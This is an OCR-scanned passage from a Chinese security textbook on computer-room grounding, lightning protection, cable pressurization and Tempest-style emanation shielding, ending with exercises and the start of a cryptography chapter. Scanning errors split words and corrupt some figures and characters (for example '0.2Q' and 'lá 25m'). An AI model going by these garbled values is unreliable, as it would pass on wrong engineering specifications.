理 方面 的 措施 外 ,还 应 使 用 防 静电 地 板 等 材料 ,即将 地 板 金属 基体 与 地 线 相连 ,以 使 设备 运 
行 中 产生 的 静电 随时 释放 。 

C) 雷击 地 。 雷 电 具 有 很 大 的 能 量 ,雷击 产生 的 瞬时 电压 可 高 达 10MV 以 上 。 单 独 建设 
的 机 房 或 机 房 所 在 的 建筑 物 ,必须 设置 专门 的 雷击 保护 地 (简称 雷击 地 ) ,以 防 雷击 产生 的 巨大 
能 量 和 高 压 对 设备 与 人 身 造 成 危害 。 应 将 具有 良好 导电 性 能 和 一 定 机 械 强度 的 避雷 针 安置 在 
建筑 物 的 最 高 处 , 引 下 导线 接 到 地 网 或 地 桩 上 ,形成 一 条 最 短 的 ,牢固 的 对 地 通路 , 即 防 雷 击 地 
线 。 防 雷击 地 线 地 网 和 接地 桩 应 与 其 他 地 线 系统 保持 一 定 的 距离 ,至 少 应 在 10m 以 上 。 

(2) 接地 系统 

计算 机 机 房 的 接地 系统 是 指 计算 机 系统 本 身 和 场地 的 各 种 地 线 系 统 的 设计 和 具体 实施 。 

(D 各 自 独 立 的 接地 系统 。 这 种 接地 系统 主要 考虑 直流 地 、 交 流 地 ,保护 地 ,屏蔽 地 、 雷 
击 地 等 的 各 自作 用 ,为 避免 相互 干扰 ,分 别 单独 通过 地 网 或 接地 桩 接 到 大 地 。 这 种 方案 虽然 
理论 上 可 行 , 但 实施 起 来 难度 很 大 。 

@ 交 、 直 流 分 开 的 接地 系统 。 这 种 接地 系统 将 计算 机 的 逻辑 地 和 雷击 地 单独 接地 ,其 
他 地 共 地 。 这 既 可 使 计算 机 工作 可 靠 , 又 可 减少 一 些 地 线 。 但 这 样 仍 需 3 个 单独 的 接地 体 ， 
无 论 从 接地 体 的 埋设 场地 考虑 ,还 是 从 投资 和 施工 难度 考虑 ,都 是 很 难 承受 的 。 

O 共 地 接地 系统 。 共 地 接地 系统 的 出 发 点 是 除 雷 击 地 外 , 另 建 一 个 接地 体 ,此 接地 体 
的 电阻 要 小 ,以 保证 汇 放 电荷 迅速 排放 到 大 地 。 计 算 机 系统 的 直流 地 保护 地 、 屏 项 地 等 在 
机 房 内 单独 接 到 各 自 的 接地 母线 , 自 成 系统 ,再 分 别 接 到 室外 的 接地 体 上 。 这 种 接地 的 优点 
是 减少 了 接地 体 的 建设 ,各 地 之 间 独 立 ,不 会 产生 相互 干扰 。 缺 点 是 直流 地 (逻辑 地 ) 与 其 他 
地 线 共用 , 易 受 其 他 信号 干扰 影响 。 

CD 直流 地 保护 地 共用 地 线 系统 。 这 种 接地 系统 的 直流 地 和 保护 地 共用 接地 体 ,屏蔽 
地 ,交流 地 .雷击 地 单独 埋设 。 该 接地 方案 的 出 发 点 是 许多 计算 机 系统 内 部 已 将 直流 地 和 保 
护 地 连 在 一 起 ,对 外 只 有 一 条 引线 ,在 此 情况 下 ,直流 地 与 保护 地 分 开 已 无 实际 意义 。 由 于 
直流 地 与 交流 地 分 开 , 使 计算 机 系统 仍 具有 较 好 的 抗 干扰 能 力 。 

C) 建筑 物 内 共 地 系统 。 随 着 城市 高 层 建筑 群 的 不 断 增多 ,建筑 物 内 各 种 设备 和 供电 系 
统 、. 通 信 系 统 的 接地 问题 越 来 越 突 出 。 一 方面 ,建筑 高 层 化 、 密 集 化 ,接地 设备 多 、 要 求 高 ; 另 
一 方面 ,高 层 建筑 附近 又 不 可 能 有 足够 的 场地 构造 地 线 接地 体 。 高 层 建筑 目前 的 基础 设施 
都 是 光 打 桩 , 整 栋 建筑 从 下 到 上 都 有 钢筋 基础 。 由 于 这 些 钢 筋 基础 很 多 , 且 连 成 一 体 , 深 入 
到 地 下 漏水 层 ,同时 各 楼 层 钢筋 均 与 地 下 钢筋 相连 ,作为 地 线 接地 电阻 很 小 (经 实际 测量 可 
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小 于 0.2Q)。 由 于 接地 电阻 很 小 ,可 将 计算 机 机 房 及 各 种 设备 的 地 线 共用 建筑 地 ,从 理论 上 
讲 不 会 产生 相互 干扰 ,从 实际 应 用 看 也 是 可 行 的 。 它 具有 投资 少 、 占 地 少 、 阻 值 稳定 等 特点 ， 
符合 城市 建筑 的 发 展 趋势 。 

(3) 接地 体 

接地 体 的 埋设 是 接地 系统 好 坏 的 关键 。 通 常 使 用 的 接地 体 有 地 桩 、 水 平 机 网 .金属 接地 
板 、 建 筑 物 基础 钢筋 等 。 

CD 地 桩 。 垂 直 打 入 地 下 的 接地 金属 棒 或 金属 管 是 常用 的 接地 体 。 它 用 在 土壤 层 超 过 
3m 厚 的 地 方 。 金 属 棒 的 材料 为 钢 或 铜 ,直径 一 般 应 为 15mm 以 上 。 为 防止 腐蚀、 增 大 接触 
面积 并 承受 较 大 打击 力 , 地 桩 通常 采用 较 粗 的 镀 锌 钢管 。 

金属 棒 做 地 桩 形成 的 电阻 主要 与 金属 棒 的 长 度 和 土壤 情况 有 关 , 受 直径 的 影响 不 大 。 
金属 棒 的 长 度 一 般 选 择 3m 以 上 。 由 于 单 根 接地 桩 接地 电阻 较 大 ,在 实际 使 用 中 常 将 多 根 
接地 桩 连 成 环形 或 网 格 形 ,每 两 根 地 桩 间 的 距离 一 般 要 大 于 地 桩 长 度 的 2 倍 。 

土壤 的 含水 率 和 含 盐 量 的 多 少 决定 了 土壤 的 电阻 率 , 而 土壤 电阻 率 是 决定 地 线 接地 电 
阻 的 重要 因素 。 为 降低 大 地 电阻 率 , 常 需要 采取 水 分 保持 和 化 学 盐 化 措施 。 

在 地 网 表层 土壤 适当 种 植 草 类 或 豆 类 植物 ,可 以 保持 土壤 中 的 水 分 ,又 不 致 出 现 盐 分 流 
失 的 现象 。 此 外 ,在 接地 桩 周围 土壤 中 要 添加 一 些 产生 离子 的 化 学 物品 ,以 提高 土壤 的 电导 
率 。 这 些 化 学 物品 有 硫酸 镁 .硝酸 钾 、 氯 化 钠 等 。 其 中 硫酸 镁 是 一 种 较 好 的 降 阻 材料 , 它 成 
本 低 ,电导 率 高 ,对 接地 电极 和 附近 的 金属 物体 腐蚀 作用 弱 。 要 在 土壤 中 添加 硫酸 镁 ,可 以 
采用 在 地 桩 周围 挖 一 个 0. 3m 深 的 壕沟 ,在 沟 内 填 满 硫酸 镁 ,用 土 覆盖 的 方法 。 这 样 ,硫酸 
镁 不 与 地 桩 直接 接触 ,以 使 其 分 布 最 佳 而 腐蚀 作用 又 最 小 。 另 一 种 方法 是 用 一 个 0. 6m 长 
的 套 管 套 在 地 桩 外 面 , 套 管内 填充 硫酸 镁 至 距 地 面 0. 3m, 套 管 与 地 面 持平 并 用 木 盖 盖 住 管 
口 。 这 样 , 套 管内 的 硫酸 镁 会 随 着 雨水 均匀 地 潜入 到 地 桩 周围 。 

化 学 盐 化 并 不 能 永久 地 改变 接地 电阻 。 化 学 材料 会 随 着 雨水 逐渐 流失 ,一 般 有 效 期 为 
3 年 , 随 着 时 间 的 延长 应 适当 补充 化 学 材料 。 

@ 水 平 机 网 。 在 土质 情况 较 差 ,特别 是 岩层 接近 地 表面 无 法 打桩 的 情况 下 ,可 以 采用 
水 平 埋设 金属 条 带 、 电 缆 的 方法 。 金 属 条 带 应 埋 在 地 下 0. 5 一 1m 深 处 ,水 平方 向 构成 星 形 
或 栅 格 网 形 ,在 每 个 交叉 处 ,条 带 应 焊接 在 一 起 , 且 带 间距 离 大 于 lm。 水 平 铺设 金属 条 带 的 
方法 ,同样 要 求 采取 保持 水 分 和 增加 化 学 盐分 的 方法 ,使 土壤 的 电阻 率 降 低 。 

O 金属 接地 板 。 这 种 方法 是 将 金属 板 与 地 面 垂直 埋 在 地 下 ,与 土壤 形成 至 少 0.2m? 的 
双 面 接触 。 深 度 要 求 在 永久 性 潮 土壤 以 下 30cm, 一 般 至 少 在 地 下 埋 1. 5m 深 。 金 属 板 的 材 
料 通常 为 铜板 ,也 可 分 为 铁 板 或 钢板 。 这 种 方法 占 地 面积 小 ,但 为 获得 较 好 的 效果 ,必须 埋 
设 多 个 金属 板 , 使 埋设 难度 和 造价 增高 。 因 此 , 除 特 殊 情况 外 ,近年 来 已 逐渐 被 地 桩 所 代替 。 

由 建筑 物 基 础 钢筋 。 现 代 高 层 建筑 的 基础 桩 深入 地 下 几 十 米 ,钢筋 在 地 下 形成 很 大 的 
地 网 并 从 地 下 延伸 至 顶层 ,每 层 均 可 接地 线 。 这 种 接地 体 节省 场地 ,经 济 、 适 用 ,是 城市 建设 
机 房 地 线 的 发 展 方向 。 

(4) 防 雷 措施 

机 房 的 外 部 防 雷 应 使 用 防 闪 器 、. 引 下 线 和 接地 装置 ,吸引 雷电 流 ,并 为 其 汇 放 提供 一 条 
低 阻 值 通道 。 机 器 设备 应 有 专用 地 线 ,机房 本 身 有 避雷 设施 ,包括 通信 设备 和 电源 设备 等 有 
防 雷 击 的 技术 设施 ,机 房 的 内 部 防 雷 主要 采取 屏蔽 ,等 电位 连接 、 合 理 布线 或 防 闪 器 、 过 电压 
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保护 等 技术 措施 ,以 及 拦截 ,屏蔽 、 均 压 ,分流 、 接 地 等 方法 ,达到 防 雷 的 目的 。 机 房 的 设备 本 
身 也 应 有 避雷 装置 和 设施 。 机 房 防 雷 工程 一 般 要 做 以 下 几 步 。 

CD 做 好 机 房 接 地 。 交 流 地 、 直 流 地 ,保护 地 、 雷 击 地 宜 共 用 一 组 接地 装置 ,其 接地 电阻 
按 其 中 最 小 值 要 求 确定 。 如 果 计 算 机 系统 直流 地 与 其 他 地 线 分 开 接 地 , 则 两 地 极 间 应 间 
lá 25m. 

© 做 好 线路 防 雷 。 在 动力 室 电源 线 总 配 电 盘 上 安装 并 联 式 专用 避雷 器 构成 第 一 级 衰 
减 。 在 机 房 配 电 柜 进 线 处 ,安装 并 联 式 电源 避雷 器 构成 第 二 级 衰减 。 机 房 布 线 不 能 延 墙 数 
设 , 以 防止 雷击 时 墙 内 钢筋 瞬间 传导 墙 雷 电流 时 .瞬间 变化 的 磁场 在 机 房 内 的 线路 上 感应 出 
瞬间 的 高 脉冲 浪 涌 电压 把 设备 击 坏 。 


2.5 通信 线路 安全 与 电磁 辐射 防护 


尽管 从 网 络 通信 线路 上 提取 信息 所 需要 的 技术 比 直接 从 通信 终端 获取 数据 的 技术 要 高 
几 个 数量 级 ,不 过 ,以 目前 的 技术 水 平 也 是 完全 有 可 能 实现 的 。 


1. 电缆 加 压 技 术 


用 一 种 简单 (但 很 昂贵 ) 的 高 技术 加 压 电缆 ,可 以 获得 通信 线路 上 的 物理 安全 。 这 一 技 
术 是 若干 年 前 为 美国 国家 电话 系统 开发 的 。 通 信和 电缆 密封 在 塑料 套 管 中 ,并 在 线 缆 的 两 端 
充气 加 压 。 线 上 连接 了 带 有 报警 器 的 监视 器 ,用 来 测量 压力 。 如 果 压 力 下 降 , 则 意味 电缆 可 
能 被 破坏 了 ,技术 人 员 还 可 以 进一步 检测 出 破坏 点 的 位 置 ,以 便 及 时 进行 修复 。 

电缆 加 压 技术 提供 了 安全 的 通信 线路 。 将 加 压 电 缆 架 设 于 整 座 楼 中 ,每 十 电缆 都 将 暴 
露 在 外 。 如 果 任 何人 企图 制 电缆 ,监视 器 会 启动 报警 器 ,通知 安全 保卫 人 员 电 缆 已 被 破坏 。 
假设 任何 人 成 功 地 在 电缆 上 接 了 自己 的 通信 线路 ,在 安全 人 员 定 期 地 检查 电缆 的 总 长 度 时 ， 
就 可 以 发 现 电缆 拼接 处 。 加 压 电缆 是 屏蔽 在 波纹 铝 钢 丝 网 中 的 ,几乎 没有 电磁 辐射 ,从 而 大 
大 增强 了 通过 通信 线路 窃听 的 难度 。 

光纤 通信 线 曾 被 认为 是 不 可 搭 线 窃听 的 ,其 断 破 处 立即 会 被 检测 到 ,拼接 处 的 传输 速度 
会 缓慢 得 令 人 难以 忍受 。 光 纤 没有 电磁 辐射 ,所 以 也 不 能 用 电磁 感应 窃 密 。 不 幸 的 是 ,光纤 
的 最 大 长 度 有 限制 ,目前 网 络 覆盖 范围 半径 约 100km, 大 于 这 一 长 度 的 光纤 系统 必须 定期 
地 放大 (复制 ) 信 号 。 这 就 需要 将 信号 转换 成 电 脉冲 ,然后 再 恢复 成 光 脉 冲 , 继 续 通过 另 一 条 
线路 传送 。 完 成 这 一 操作 的 设备 (复制 器 ) 是 光纤 通信 系统 的 安全 薄弱 环节 ,因为 信号 可 能 
在 这 一 环节 被 拱 线 窃听 。 有 两 个 办 法 可 解决 这 一 问题 距离 大 于 最 大 长 度 限制 的 系统 之 
间 , 不 采用 光纤 线 通信 ;或 加 强 复制 器 的 安全 ,如 用 加 压 电缆 .警报 系统 和 加 强 警 卫 等 措施 。 


2. 电磁 兼容 和 电磁 辐射 


实际 实验 表明 ,普通 计算 机 的 显示 器 辐射 的 屏幕 信息 可 以 在 几 百 米 到 1000 多 米 的 范围 
内 用 测试 设备 清楚 地 展现 出 来 。 实 际 上 ,计算 机 的 CPU 芯片 键盘、 磁盘 驱动 器 和 打印 机 
在 运行 过 程 中 都 会 向 外 辐射 信息 。 要 防止 硬件 向 外 辐射 信息 ,必须 了 解 计算 机 各 部 件 泄露 
的 原因 和 程度 ,然后 采取 相应 的 防护 措施 。 

计算 机 及 其 外 围 设备 可 以 通过 两 种 途径 向 外 泄露 : 电磁 波 辐射 和 通过 各 种 线路 与 机 房 
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通 往 屋外 的 导管 传导 出 去 。 例 如 ,计算 机 的 显示 器 是 阴极 射线 管 ,其 强大 交 变 的 工作 电流 产 
生 随 显示 信息 变化 的 电磁 场 ,把 显示 信息 向 外 辐射 ;计算 机 系统 的 电源 线 .机房 内 的 电话 线 、 
暖气 管道 地 线 等 金属 导体 有 时 会 起 着 无 线 天 线 的 作用 ,它们 可 以 把 从 计算 机 辐射 出 来 的 信 
息 发 射出 去 。 

计算 机 电磁 辐射 强度 与 载 流 导线 中 电流 的 大 小 ,设备 功率 的 强 弱 、 信 号 频率 的 高 低 成 正 
向 影响 关系 ,与 离 辐射 源 距 离 的 远近 成 反 向 影响 关系 ,与 辐射 源 是 否 被 屏蔽 也 有 很 大 关系 。 

计算 机 网 络 系统 的 各 种 设备 都 属于 电子 设备 ,在 工作 时 都 不 可 避免 地 会 向 外 辐射 电磁 
波 , 同 时 也 会 受到 其 他 电子 设备 的 电磁 波 干 扰 , 当 电磁 干扰 达到 一 定 的 程度 就 会 影响 设备 的 
正常 工作 。 

电磁 干扰 可 以 通过 电磁 辐射 和 传导 两 条 途径 影响 电子 设备 的 工作 。 一 条 是 电子 设备 辐 
射 的 电磁 波 通过 电路 耦合 到 另 一 台电 子 设 备 中 引起 干扰 ; 另 一 条 是 通过 连接 的 导线 .电源 
线 、 信 号 线 等 耦合 而 引起 相互 之 间 的 干扰 。 

电子 设备 及 其 元 器 件 都 不 是 孤立 存在 的 ,而 是 在 一 定 的 电磁 干扰 环境 下 工作 的 。 电 磁 
兼容 性 就 是 电子 设备 或 系统 在 一 定 的 电磁 环境 下 互相 兼顾 . 相 容 的 能 力 。 

电磁 兼容 问题 由 来 已 久 。1831 年 ,法 拉 第 发 现 电磁 感应 现象 ,总 结 出 电磁 感应 定律 ; 
1881 年 ,英国 科学 家 希 维 思 德 发 表 了 “ 论 干扰 ”的 文章 ;1888 年 , 赫 效 通过 试验 演示 了 电磁 干 
扰 现象 。20 世纪 以 来 ,特别 是 在 第 二 次 世界 大 战 中 ,电磁 兼容 理论 进一步 发 展 ,逐步 形成 了 
一 门 独立 的 学 科 。 电 磁 兼 容 设计 已 成 为 军用 武器 装备 和 电子 设备 研制 中 心 必须 严格 遵守 的 
原则 ,电磁 兼容 性 成 为 产品 可 靠 性 保证 的 重要 组 成 部 分 。 如 果 设 备 的 电磁 兼容 性 很 差 , 在 电 
磁 干 扰 的 环境 中 就 不 能 正常 工作 。 我 国 已 将 电磁 兼容 性 作为 强制 性 的 标准 来 执行 。 

1985 年 ,在 法 国 举办 的 “计算 机 与 通信 安全 "国际 会 议 上 ,荷兰 的 一 位 工程 师 现场 演示 
了 用 一 套 稍 加 改装 的 黑白 电视 机 还 原 Ikm 以 外 机 房 内 计算 机 显示 屏 上 的 信息 。 这 说 明 计 
算 机 的 电磁 辐射 造成 信息 泄露 的 危险 是 真实 存在 的 。 尤 其 是 在 微 电 子 技术 和 卫星 通信 技术 
飞速 发 展 的 今天 ,各 种 信息 窃取 手段 日 趋 先 进 ,电磁 辐射 泄密 的 危险 也 越 来 越 大 。 

美 、 俄 等 发 达 国 家 对 电磁 辐射 泄密 问题 进行 了 多 年 的 研究 ,并 逐渐 形成 了 一 种 专门 的 技 
术 一 一 抑制 信息 处 理 设 备 的 噪声 泄露 技术 ,简称 信息 泄露 防护 技术 (Tempest 技术 )。 
Tempest 技术 是 一 项 综合 性 非常 强 的 技术 ,包括 泄露 信息 的 分 析 、` 预 测 .接收 .识别 .复原 、 防 
护 ,测试 、 安 全 评估 等 技术 ,涉及 多 个 学 科 领 域 。Tempest 技术 基本 上 是 在 传统 的 电磁 兼容 
理论 的 基础 上 发 展 起 来 的 ,但 比 传统 的 抑制 电磁 干扰 的 要 求 高 得 多 ,技术 实现 上 也 更 复杂 。 
一 般 认 为 ,显示 器 的 视频 信号 .打印 机 打印 头 的 驱动 信号 、 磁 头 读 / 写 信和 号、 键盘 输入 信号 以 
及 信号 线 上 的 输入 输出 信号 等 为 需要 重点 防护 的 对 象 。 美 国政 府 规 定 , 凡 属 高 度 机 密 部 门 
所 使 用 的 计算 机 等 信息 处 理 设备 ,其 电磁 泄露 发 射 必须 达到 Tempest 标准 规定 的 要 求 。 


3. 电磁 辐射 防护 的 措施 


为 保证 计算 机 网 络 系统 的 物理 安全 , 除 在 网 络 规划 和 场地 、 环 境 等 方面 进行 防护 之 外 ， 
还 要 防止 数据 信息 在 空间 中 的 扩散 。 计 算 机 系统 通过 电磁 辐射 使 信息 被 截获 而 失 密 的 案例 
已 经 很 多 ,在 理论 和 技术 支持 下 的 验证 工作 也 证 实 , 这 种 对 距离 在 近 千 米 显 示 屏 信息 的 还 
原 , 给 计算 机 系统 信息 的 保密 工作 带 来 了 极 大 的 威胁 。 为 了 防止 计算 机 系统 中 的 数据 信息 
在 空间 中 的 扩散 ,通常 是 在 物理 上 采取 一 定 的 防护 措施 ,以 减少 或 干扰 扩散 到 空间 中 的 电磁 
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信和 号。 政府 .军队 金融 机 构 在 构建 信息 中 心 时 ,电磁 辐射 防护 将 成 为 首先 要 解决 的 问题 。 

目前 防护 措施 主要 有 两 类 : 一 类 是 对 传导 发 射 的 防护 ,主要 采取 对 电源 线 和 信号 线 加 
装 性 能 良好 的 滤波 器 , 减 小 传输 阻抗 和 导线 间 的 交叉 耦合 ; 另 一 类 是 对 辐射 的 防护 。 这 类 防 
护 措 施 又 可 分 为 两 种 : 一 种 是 采用 各 种 电磁 屏蔽 措施 ,如 对 设备 的 金属 屏蔽 和 各 种 接 插件 
的 屏蔽 ,同时 对 机 房 的 下 水 管 、 暖 气管 和 金属 门窗 进行 屏蔽 和 隔离 ;第 二 种 是 干扰 的 防护 措 
施 , 即 在 计算 机 系统 工作 的 同时 ,利用 干扰 装置 产生 一 种 与 计算 机 系统 辐射 相关 的 伪 品 声 向 
空间 辐射 来 掩盖 计算 机 系统 的 工作 频率 和 信息 特征 。 

为 提高 电子 设备 的 抗 干扰 能 力 , 除 在 芯片 .部 件 上 提高 抗 干 扰 能 力 外 ,主要 的 措施 有 屏 
蔽 滤波、 隔离 .接地 等 ,其 中 屏蔽 是 应 用 最 多 的 方法 。 

(1) 屏蔽 

电磁 波 经 封闭 的 金属 板 后 ,大 部 分 能 量 被 吸收 、 反 射 和 再 反射 ,再 传 到 金属 板 内 的 能 量 
已 经 很 小 ,从 而 保护 内 部 的 设备 或 电路 免 受 强 电 磁 干 扰 。 

(2) 滤波 

滤波 是 另 一 种 重要 的 方法 。 滤 波 电路 是 一 种 无 源 网 络 , 它 可 以 让 一 定 频 率 范围 内 的 电 
信号 通过 而 阻止 其 他 频率 的 电信 号 ,从 而 起 到 滤波 作用 。 在 有 导线 连接 或 阻抗 耦合 的 情况 
下 ,进出 线 采用 滤波 器 可 使 强 干 扰 被 阻止 。 吸 波 是 采用 铁 氧 体 等 吸 波 材料 ,在 空间 很 小 的 情 
况 下 起 到 类 似 滤波 器 的 作用 。 

(3) 隔离 

隔离 是 将 系统 内 的 电路 采用 隔离 的 方法 分 别处 理 ,将 强 辐 射 源 、 信 号 处 理 单元 等 隔离 
开 , 单 独处 理 , 从 而 减弱 系统 内 部 和 系统 向 外 的 电磁 辐射 。 

(4) 接地 

接地 对 电磁 兼容 来 说 十 分 重要 , 它 不 仅 可 以 起 到 保护 作用 ,而 且 可 以 使 屏蔽 体 、 滤 波 器 
等 集聚 的 电荷 迅速 排放 到 大 地 ,从 而 减 小 干扰 。 作 为 电磁 兼容 目的 的 地 线 最 好 单独 埋 放 ,对 
其 电阻 ,接地 点 等 均 有 很 高 的 要 求 。 

电磁 防护 层 主要 是 通过 上 述 种 种 措施 ,来 提高 计算 机 的 电磁 兼容 性 ,从 而 提高 设备 的 抗 
干扰 能 力 。 使 计算 机 能 抵抗 强 电磁 干扰 ,同时 将 计算 机 的 电磁 泄露 发 射 降 到 最 低 ,使 之 不 致 
将 有 用 的 信息 泄露 出 去 。 


4. 辐射 抑制 技术 


辐射 抑制 技术 可 以 分 为 包容 法 与 抑 源 法 两 类 。 

(1) 包容 法 

包容 法 主要 采用 屏蔽 技术 屏蔽 线路 单元 .整个 设备 ,甚至 整个 系统 以 防止 电磁 波 向 外 辐 
射 。 包 容 法 主要 从 结构 .工艺 和 材料 等 方面 考虑 减少 辐射 的 各 种 方法 ,成 本 较 高 ,适合 于 少 
量 应 用 。 

(2) 抑 源 法 

抑 源 法 试图 从 线路 和 元 器 件 和 人 手 ,消除 计算 机 和 外 围 设备 内 部 产生 较 强 电磁 波 的 根源 。 
主要 采用 的 措施 有 : 选用 低 电 压 、 低 功率 的 元 器 件 ; 在 电路 布线 设计 中 注意 降低 辆 射 和 耦 
合 ; 采 用 电源 滤波 与 信号 滤波 技术 ;采用 可 以 阻挡 电磁 波 的 透明 膜 。 另外 ,也 可 以 采取 下 面 
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采用 “ 红 / 黑 "隔离 技术 ,其 中 “ 红 ” 是 指 设备 中 有 信息 泄露 危险 的 区 域 .元 器 件 、 部 件 和 连 
线 ,* 黑 ?表示 无 泄露 危险 的 区 域 或 连 线 。 将 * 红 ”与 * 黑 ?隔离 可 以 防止 它们 之 间 的 耦合 ,可 以 
重点 加 强 对 红 区 的 防护 措施 。 这 种 方法 的 技术 复杂 ,但 成 本 较 低 ,适用 于 大 量 应 用 。 

在 计算 机 旁边 放置 一 个 辆 射 干扰 器 ,不断 向 外 辐射 干扰 电磁 波 ,该 电磁 波 可 以 扰乱 计算 
机 发 出 的 信息 电磁 波 ,使 远 处 侦 测 设备 无 法 还 原 计算 机 信号 。 挑 选 干扰 器 时 要 注意 干扰 器 
的 带宽 是 否 与 计算 机 的 辐射 带宽 相近 ,否则 起 不 到 干扰 作用 ,这 需要 通过 测试 验证 。 


小 结 
物理 安全 (实体 和 基础 设施 安全 ) 主 要 包括 环境 安全 .设备 安全 ,电源 系统 安全 以 及 通信 


线路 安全 4 个 方面 ,通过 对 这 4 个 方面 的 详细 介绍 ,帮助 读者 了 解 物理 安全 的 相关 知识 ,并 
且 能 够 运用 本 章 介绍 的 知识 和 技术 来 保障 信息 系统 的 物理 安全 。 


习 题 

1. 填空 题 

(1) 又 称 为 实体 和 基础 设施 安全 ,是 保护 计算 机 设备 .设施 (网 络 及 通信 线路 ) 
免 遭 地 震 、 水 灾 、 火 灾 、 有 害 气 体 和 其 他 环境 事故 (如 电磁 污染 等 ) 破 坏 的 措施 和 过 程 。 

(2) 主要 是 指 对 计算 机 及 网 络 系统 的 环境 、 场 地 ,设备 和 通信 线路 等 采取 的 安 
全 技术 措施 。 

(3) 物理 安全 包括 : 环境 安全 、 5 和 通信 线路 安全 。 

(4) 是 所 有 电子 设备 正常 工作 的 能 量 源泉 ,在 计算 机 系统 中 占有 重要 地 位 。 

(5) 计算 机 的 电子 元 器 件 .芯片 都 密封 在 机 箱 中 ,有 的 芯片 工作 时 表面 温度 相当 高 ,一 
般 电 子 元 器 件 工作 温度 的 范围 是 

(6) 放置 计算 机 的 房间 内 ,湿度 最 好 保持 在 之 间 ,湿度 过 高 或 过 低 对 计算 机 的 
可 靠 性 与 安全 性 都 有 影响 。 

CD 机 房 “ 三 度 ” 要 求 是 : 和 洁净 度 。 

(8) 计算 机 对 电源 有 两 个 基本 要 求 ， 和 

(9) 引起 计算 机 机 房 火灾 的 原因 一 般 有 : Š 和 

2. 思考 与 简 答 题 


CD 为 计算 机 系统 提供 合适 的 安全 环境 的 目的 是 什么 ? 

(2) 简 述 计算 机 机 房 的 外 部 环境 要 求 . 内 部 环境 要 求 。 

(3) 简 述 为 了 确保 供电 系统 的 安全 ,可 以 采取 哪些 措施 。 

(4) 简 述 静电 对 电子 设备 的 损害 所 具有 的 特点 。 

(5) 简 述 为 了 确保 网 络 通信 线路 的 安全 ,可 以 采取 哪些 措施 。 
(6) 简 述 有 哪些 对 电磁 辐射 的 防护 措施 。 

(7) 简 述 辐射 抑制 技术 。 
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本 章 学 习 目标 : 

。 了 解密 码 学 的 基本 概念 

。 掌握 常用 加 密 方法 

。 掌握 破解 用 户 密码 的 方法 

。 掌握 文件 加 密 的 方法 

。 理解 并 掌握 数字 签名 技术 

* 了 解 PKI 的 组 成 原理 及 其 基本 功能 .理解 PKI E S 
。 掌握 构建 基于 Windows 2003 的 CA 系统 


计算 机 安全 主要 包括 系统 安全 和 数据 安全 两 个 方面 ,数据 安全 主要 采用 现代 密码 技术 
对 数据 进行 安全 保护 ,是 保护 大 型 网 络 安全 传输 信息 的 唯一 有 效 手 段 , 是 保障 信息 安全 的 核 
心 技术 。 

密码 理论 与 技术 主要 包括 两 部 分 : 基于 数学 的 密码 理论 与 技术 ,包括 公 钥 密码 ,分 组 
密码 ,序列 密码 ,认证 码 ,数字 签名 、Hash 函数 、 身 份 识别 、 密 钥 管 理 ,.PKI 技术 等 ; @ 非 数学 
的 密码 理论 与 技术 ,包括 信息 隐形 、 基 于 生物 特征 的 识别 理论 与 技术 、 量 子 密码 等 。 

目前 国际 上 对 非 数 学 的 密码 理论 与 技术 非常 关注 ,讨论 也 非常 活跃 。 

信息 隐藏 将 在 未 来 网 络 中 保护 信息 免 于 破坏 起 到 重要 作用 ,信息 隐藏 是 网 络 环境 下 把 
机 密 信 息 隐 藏 在 大 量 信息 中 不 让 对 方 发 觉 的 一 种 方法 。 特 别 是 图 像 琶 加 、 数 字 水 印 . 潜 信 
道 、 隐 匿 协议 等 的 理论 与 技术 的 研究 已 经 引起 人 们 的 重视 。 

基于 生物 特征 (比如 手 形 指纹.DNA、 视 网 膜 . 虹 膜 . 语音、 脸形 等 ) 的 识别 理论 与 技术 
已 有 所 发 展 , 形 成 了 一 些 理论 和 技术 ,也 形成 了 一 些 产品 。 

1969 年 美国 哥伦比亚 大 学 的 Wiesner 创造 性 地 提出 了 共 思 编码 的 概念 ,遗憾 的 是 他 的 
这 一 思想 当时 没有 被 人 们 接受 。 十 年 后 , 源 于 共 思 编码 概念 的 量子 密码 理论 与 技术 才 取 得 
了 飞速 的 进步 ,先后 在 自由 空间 和 商用 光纤 中 完成 了 单 光子 密 钥 交 换 协 议 , 英 国 BT 实验 室 
通过 30km 的 光纤 信道 实现 了 每 秒 20kb 的 密 钥 分 配 。 近 年 来 ,英美 .日 等 国 的 许多 大 学 和 
研究 机 构 竞 相投 入 到 量子 密码 的 研究 之 中 ,更 大 的 计划 在 欧洲 进行 。 到 目前 为 止 ,主要 有 三 
大 类 量子 密码 实现 方案 : 基于 单 光子 量子 信道 中 测 不 准 原 理 的 ; @ 基 于 量子 相关 信道 中 
Bell 原理 的 ; 基于 两 个 非 正 交 量子 态 性 质 的 。 但 有 许多 问题 还 有 待 于 研究 。 比 如 ,寻找 
相应 的 量子 效应 以 便 提出 更 多 的 量子 密 钥 分 配 协议 ,量子 加 密 理 论 的 形成 和 完善 ,量子 密 
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码 协议 的 安全 性 分 析 方 法 研究 ,量子 加 密 算 法 的 开发 ,量子 密码 的 实用 化 等 。 总 的 来 说 , 非 
数学 的 密码 理论 与 技术 还 处 于 探索 之 中 。 
本 章 通 过 实例 介绍 基于 数学 的 密码 理论 与 技术 的 实际 应 用 。 


3.1 密码 技术 基础 


密码 学 是 研究 编制 密码 和 破译 密码 的 技术 科学 。 研 究 密 码 变 化 的 客观 规律 ,应 用 于 编 
制 密码 以 保守 通信 秘密 的 , 称 为 编码 学 ;应 用 于 破译 密码 以 获取 通信 和 情报 的 , 称 为 破译 学 ,总 
称 密码 学 。 

密码 学 是 在 编码 与 破译 的 斗争 实践 中 逐步 发 展 起 来 的 ,并 随 着 先进 科学 技术 的 应 用 ,已 
成 为 一 门 综合 性 的 尖端 技术 科学 。 它 与 语言 学 、 数 学、 电子 学 、 声 学 信息论 .计算 机 科学 等 
有 着 广泛 而 密切 的 联系 。 它 的 现实 研究 成 果 , 特 别 是 各 国政 府 现 用 的 密码 编制 及 破译 手段 
都 具有 高 度 的 机 密 性 。 利 用 文字 和 密码 的 规律 ,在 一 定 条 件 下 ,采取 各 种 技术 手段 ,通过 对 
截取 密 文 的 分 析 ,以 求 得 明文 , 还 原 密码 编制 , 即 破译 密码 。 破 译 不 同 强 度 的 密码 ,对 条 件 
的 要 求 也 不 相同 ,甚至 完全 不 同 。 

密码 破译 是 随 着 密码 的 使 用 而 逐步 产生 和 发 展 的 。1412 年 ,波斯 人 卡 勒 卡 尚 迪 所 编 的 
百科 全 书 中 载 有 破译 简单 代替 密码 的 方法 。 到 16 世纪 末期 ,欧洲 一 些 国 家 设 有 专职 的 破译 
